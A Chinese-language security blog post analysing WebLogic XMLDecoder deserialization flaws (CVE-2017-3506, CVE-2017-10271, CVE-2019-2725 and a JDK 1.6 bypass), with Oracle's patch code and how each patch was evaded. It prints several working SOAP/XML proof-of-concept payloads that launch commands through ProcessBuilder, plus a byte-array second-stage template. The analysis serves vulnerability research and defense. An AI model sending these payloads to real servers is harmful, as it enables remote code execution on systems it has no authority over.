浅谈Weblogic反序列化——XMLDecoder的绕过史

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从CVE-2017-3506为起点至今,weblogic接二连三的吧爆出了大量的反序列化漏洞,而这些反序列化漏洞的很大一部分,都是围绕着XMLDecoder的补丁与补丁的绕过展开的,所以笔者以CVE-2017-3506为起点,到近期的CVE-2019-2725及其绕过来谈一谈这两年weblogic在XMLDecoder上的缝缝补补。

 

认识XMLDecoder

首先去看一下XMLDecoder的官方文档,如下:

XMLDecoder 类用于读取使用 XMLEncoder 创建的 XML 文档,用途类似于 ObjectInputStream。例如,用户可以使用以下代码片段来读取以 XML 文档形式(通过 XMLEncoder 类写入)定义的第一个对象:

 

XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));

Object result = d.readObject();

d.close();

作为一名java反序列化的研究人员,看到readObject()函数就应该带有一丝兴奋,至少代表我们找到入口了。

先不去管在weblogic上的利用,我们先构造一个特殊的poc.xml文件,让XMLDecoder去解析一下,看一下流程

<java>
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>ls</string>
            </void>
        </array>
        <void method="start"/>
    </object>
</java>

再写一个简单的利用XMLDecoder解析xml文件的demo,

import java.beans.XMLDecoder;
import java.io.*;

public class Main {
    public static void main(String[] args) throws IOException, InterruptedException {
        File file = new File("poc.xml");
        XMLDecoder xd = null;
        try {
            xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
        } catch (Exception e) {
            e.printStackTrace();
        }
        Object s2 = xd.readObject();
        xd.close();

    }
}

因为会触发命令执行,所以先直接在ProcessBuilder的start函数上打上断点,看一下调用栈,

我们关注的重点在于从xml到ProcessBuilder类被实例化的过程,所以去跟进一下DocumentHandler类,我们去看几个核心函数,

首先看到了构造函数,看一看到为不同的标签定义了不同的Handler,

再看一下startElement函数,它用来实例化对应的Element,并给当前handler设置Owner和Parent,关于Owner和Parent,直接引用@fnmsd写的内容:

parent

最外层标签的ElementHandler的parent为null,而后依次为上一级标签对应的ElementHandler。

owner

ElementHandler: 固定owner为所属DocumentHandler对象。

DocumentHandler: owner固定为所属XMLDecoder对象。

然后看一下endElement函数,

他会直接调用对应的ElementHandler的endElement函数,代码如下,

接下来一连串的Handler的getValueObject调用之后,到达了ObjectElementHandler的getValueObject函数,并在该函数内将我们标签内的值传给了Expression类,

在调用了getValue方法后,成功将ProcessBuilder类的实例返回,

接下来再返回给VoidElementHandler将start函数传过来,调用start函数,命令执行成功。

最后补上一张@ fnmsd给出的XMLDecoder解析xml的流程图以加深理解。

 

CVE-2017-3506

上一节已经可以看到,XMLDecoder在解析xml的时候,通过构造特殊的xml文件是可以造成命令执行的,接下来我们就可以来看一下第一个weblogic由于XMLDEcoder导致的命令执行漏洞CVE-2017-3506。

先上POC,

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <object class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> open /Applications/Calculator.app/</string>
                        </void>
                    </array>
                    <void method="start"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

调用链我们只跟到XMLDecoder.readObject(),因为剩下的都是上一节的内容了,

在processRequest函数中,会对传入的payload进行分割,把真正的xml交给readHeaderOld函数处理,

readHeaderOld函数则是将真正的xml传给XMLDecoder,并在后续的一连串调用中将XMLDecoder实例化调用其readObject函数,于是便造成了命令执行。

 

CVE-2017-10271

在CVE-2017-3506爆出后,我们去看一下官方的补丁,代码如下:

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid context type: object");

               }

            }

         });

      } catch (ParserConfigurationException var5) {

         throw new IllegalStateException("Parser Exception", var5);

      } catch (SAXException var6) {

         throw new IllegalStateException("Parser Exception", var6);

      } catch (IOException var7) {

         throw new IllegalStateException("Parser Exception", var7);

      }

   }

补丁非常的简单,一旦标签是object,系统报错,于是立马出了第二版的poc,CVE-2017-10271:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> open /Applications/Calculator.app/</string>
                        </void>
                    </array>
                    <void method="start"/>
                </void>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

乍一看这个poc,简直和CVE-2017-3506一模一样,唯一得到区别就是

<object class=”java.lang.ProcessBuilder”>变成了

<void class=”java.lang.ProcessBuilder”>

仅仅是类的标签类型由object变成了void,我们去看一下VoidElementHandler的源码:

可以看到VoidElementHandler是ObjectElementHandler类的子类,这也就解释了为什么把object标签换成Void标签也同样可以造成命令执行。

 

CVE-2019-2725

时隔一年多,CVE-2019-2725爆出,这次的漏洞是要分两块来看的,

  1. 新爆出的存在反序列化的组件_async
  2. CVE-2017-10271的补丁被绕过

首先看第一点,在ProcessBuilder的start函数上打一个断点,先看一下async组件在处理xml时候的调用链(老规矩只追到XMLDecoder.readObject函数),

引用廖大神的分析思路,请求会经过webservice注册的21个Handler来处理,看一下HandlerIterator类,就能发现对应的21个Handler,

21个Handler里面AsyncResponseHandler应该是我们重点关注的那一个,跟进去看一下源码的handleRequest方法,

可以看到要想让程序往下走,必须保证var2有值,也就是RelatesTo有值,这也就是为什么payload里面有

<wsa:Action>xx</wsa:Action>

<wsa:RelatesTo>xx</wsa:RelatesTo>

这两行的原因。

关于WS-Addressing的使用,也可以去参考官方文档(https://www.w3.org/Submission/ws-addressing/),有助于深刻理解。

走过各种Handler后来到WorkAreaServerHandler,对xml进行了拆分,接下来的调用就和前面一样了(xml交给XMLDecoder,调用readObject方法),

分析完async组件后,就来到了另一个问题上,如何绕过CVE-2017-10271的补丁,老套路,我们先看一下补丁内容,

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            private int overallarraylength = 0;

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid element qName:object");

               } else if(qName.equalsIgnoreCase("new")) {

                  throw new IllegalStateException("Invalid element qName:new");

               } else if(qName.equalsIgnoreCase("method")) {

                  throw new IllegalStateException("Invalid element qName:method");

               } else {

                  if(qName.equalsIgnoreCase("void")) {

                     for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {

                        if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {

                           throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));

                        }

                     }

                  }

                  if(qName.equalsIgnoreCase("array")) {

                     String var9 = attributes.getValue("class");

                     if(var9 != null && !var9.equalsIgnoreCase("byte")) {

                        throw new IllegalStateException("The value of class attribute is not valid for array element.");

                     }

这次的补丁内容我们文字化一下:

  1. 禁用object、new、method标签
  2. 如果使用void标签,只能有index属性
  3. 如果使用array标签,且标签使用的是class属性,则它的值只能是byte

这次的补丁可以说是比上一次严格的多,前两点虽然很大程度上限制了我们不能随意生成对象,调用方法,但好在还有一个class标签可以使用,最关键的还在于第三点,它限制了我们的参数不能再是String类型,而只能是byte类型,所以我们的思路只能从这一点出发,整理一下思路,我们要寻找的是这样一个类:

  1. 他的成员变量是byte类型
  2. 在该类进行实例化的时候就能造成命令执行。

于是便有了oracle.toplink.internal.sessions.UnitOfWorkChangeSet来满足我们的需求。

看一下构造函数,该类会对传给它的byte值进行反序列化,可以看到这是一个标准的二次反序列化,于是满足二次反序列的payload应该都可以用,如AbstractPlatformTransactionManager、7u21等等。

具体payload如下:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><array class="byte" length="8970">
                <void index="0">
                <byte>-84</byte>
                ...
                ...
            </array></void></class>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

关于二次反序列的原理不再一一分析,大佬们早已经给出了非常详尽的解释,有兴趣可以去廖大神的博客(http://xxlegend.com)学习一下,也可以选择读一下ysoserial的7u21模块代码就ok。

针对此次漏洞,官方给出的修复补丁处理比较简单,禁用class标签。

private void validate(InputStream is) {

   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

   try {

      SAXParser parser = factory.newSAXParser();

      parser.parse(is, new DefaultHandler() {

         private int overallarraylength = 0;

         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

            if (qName.equalsIgnoreCase("object")) {

               throw new IllegalStateException("Invalid element qName:object");

            } else if (qName.equalsIgnoreCase("class")) {

               throw new IllegalStateException("Invalid element qName:class");

            } else if (qName.equalsIgnoreCase("new")) {

               throw new IllegalStateException("Invalid element qName:new");

            } else if (qName.equalsIgnoreCase("method")) {

               throw new IllegalStateException("Invalid element qName:method");

            } else {

               if (qName.equalsIgnoreCase("void")) {

                  for(int i = 0; i < attributes.getLength(); ++i) {

                     if (!"index".equalsIgnoreCase(attributes.getQName(i))) {

                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));

                     }

                  }

               }

               if (qName.equalsIgnoreCase("array")) {

                  String attClass = attributes.getValue("class");

                  if (attClass != null && !attClass.equalsIgnoreCase("byte")) {

                     throw new IllegalStateException("The value of class attribute is not valid for array element.");

                  }

                  String lengthString = attributes.getValue("length");

                  if (lengthString != null) {

                     try {

                        int length = Integer.valueOf(lengthString);

                        if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {

                           throw new IllegalStateException("Exceed array length limitation");

                        }

                        this.overallarraylength += length;

                        if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {

                           throw new IllegalStateException("Exceed over all array limitation.");

                        }

不过7u21模块有一点要提一下,7u21模块利用的最后会通过将TemplatesImpl对象的_bytecodes变量动态生成为对象,于是该类的static block和构造函数便会自动执行,而这个类又是攻击者可以随便构造的,于是便造成了命令执行。

由于此次漏洞的payload是byte写的,而由于攻击利用类又是动态生成的,所以分析攻击者的代码是个比较麻烦的事情,所以下面给出如何将payload中攻击者代码还原出来的方法。

  1. 开启weblogic远程调试,并把断点打在ProcessBuilder类的start函数中(因为此时攻击类已经动态生成成功,但是没法直接在编译器里查看代码)

  1. 使用jps -l命令查看weblogic的pid

3、运行sudo java -cp $JAVA_HOME/lib/sa-jdi.jar sun.jvm.hotspot.HSDB命令查看对应PID的内存,

4、搜索内存中的动态生成类,并生成class文件,反编译一下,就可以看到攻击者写的自定义类了。

 

CVE-2019-2725绕过

最近网上又流传了CVE-2019-2725绕过的poc,如下:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <array method="forName">
                    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
                    <void>
                        <array class="byte" length="3748">
                            ...
                        </array>
                    </void>
                </array>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

刚拿到poc的时候,看了一下思路,因为<class>标签被禁了,所以通过

<array method=”forName”>来绕过补丁。思路是比较清晰的,通过Class.forName(classname)来取到我们想要的类,从而绕过class标签被禁的问题。

但刚看到这个poc的时候,我第一个疑问就是,array居然可以使用method属性吗?所以立马去看了一下ArrayElementHandler类的内容,

只支持length标签,但是它是NewElementHandler的子类,那再去看看NewElementHandler

支持class标签,但是它是ElementHandler的子类,再去看一下ElementHandler

发现到最后也没找到它支持method属性。

马上去我自己的环境里面试一下,没法复现成功,一度以为这个poc是假的,但后来想了一下,我的环境里面只有1.7和1.8的jdk,会不会是jdk版本太高了,立马去1.6试一下,果然复现成功,看来1.6的XMLDecoder的代码和1.7\1.8不太一样。

去跟进一下jdk 1.6的XMLDecoder,根据原理去写一个简单一点的poc.xml,测试demo继续使用第一章的就行

<?xml version="1.0" encoding="UTF-8"?>
<java>
    <array method="forName">
        <string>java.lang.ProcessBuilder</string>
        <void>
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>/bin/bash</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>open /Applications/Calculator.app/</string>
            </void>
        </array>
        <void method="start" />
        </void>
    </array>
</java>

发现jdk1.6的XMLDecoder代码简单很多,根本没有那么多的ElementHandler,直接统一放在ObjectHandler的代码里面处理。

而对标签的处理,也可以说是非常的朴实无华了,看一下startElement,

 

public void startElement(String var1, AttributeList var2) throws SAXException {
    ...

...

        String var8 = (String)var3.get("method");
        if (var8 == null && var6 == null) {
            var8 = "new";
        }

        var4.setMethodName(var8);
     ...

...
        } else if (var1 == "array") {
            var14 = (String)var3.get("class");
            Class var10 = var14 == null ? Object.class : this.classForName2(var14);
            var11 = (String)var3.get("length");
            if (var11 != null) {
                var4.setTarget(Array.class);
                var4.addArg(var10);
                var4.addArg(new Integer(var11));
            }

我这里只截取关键部分代码,首先可以看到代码根本不管你的标签是什么,只要有methond属性,那就算作你的方法名,并且如果你的标签是array标签,而有没有class属性,自动给你补一个Class,完美契合需求,所以就可以直接通过Class.forName来取到我们需要的类了。

这样也就绕过了对class标签的过滤,不过只能在1.6的jdk利用。

 

思考与总结

根据近些年weblogic由于XMLDecoder导致的反序列漏洞的缝缝补补中,可以看到虽然绕过的poc层出不穷,但是利用的范围却越来越窄,从一开始的所有jdk通用,到7u21以下可以利用成功,再到最近的绕过已经只能在1.6利用成功,可以看到,保持jdk版本的高版本可以有效的防范java反序列化攻击。与此同时,对于基本用不到的weblogic组件,还是能删就删为好。

 

引用

http://www.lmxspace.com/2019/06/05/Xmldecoder%E5%AD%A6%E4%B9%A0%E4%B9%8B%E8%B7%AF/

https://blog.csdn.net/fnmsd/article/details/89889144

http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E6%9E%90/

http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/

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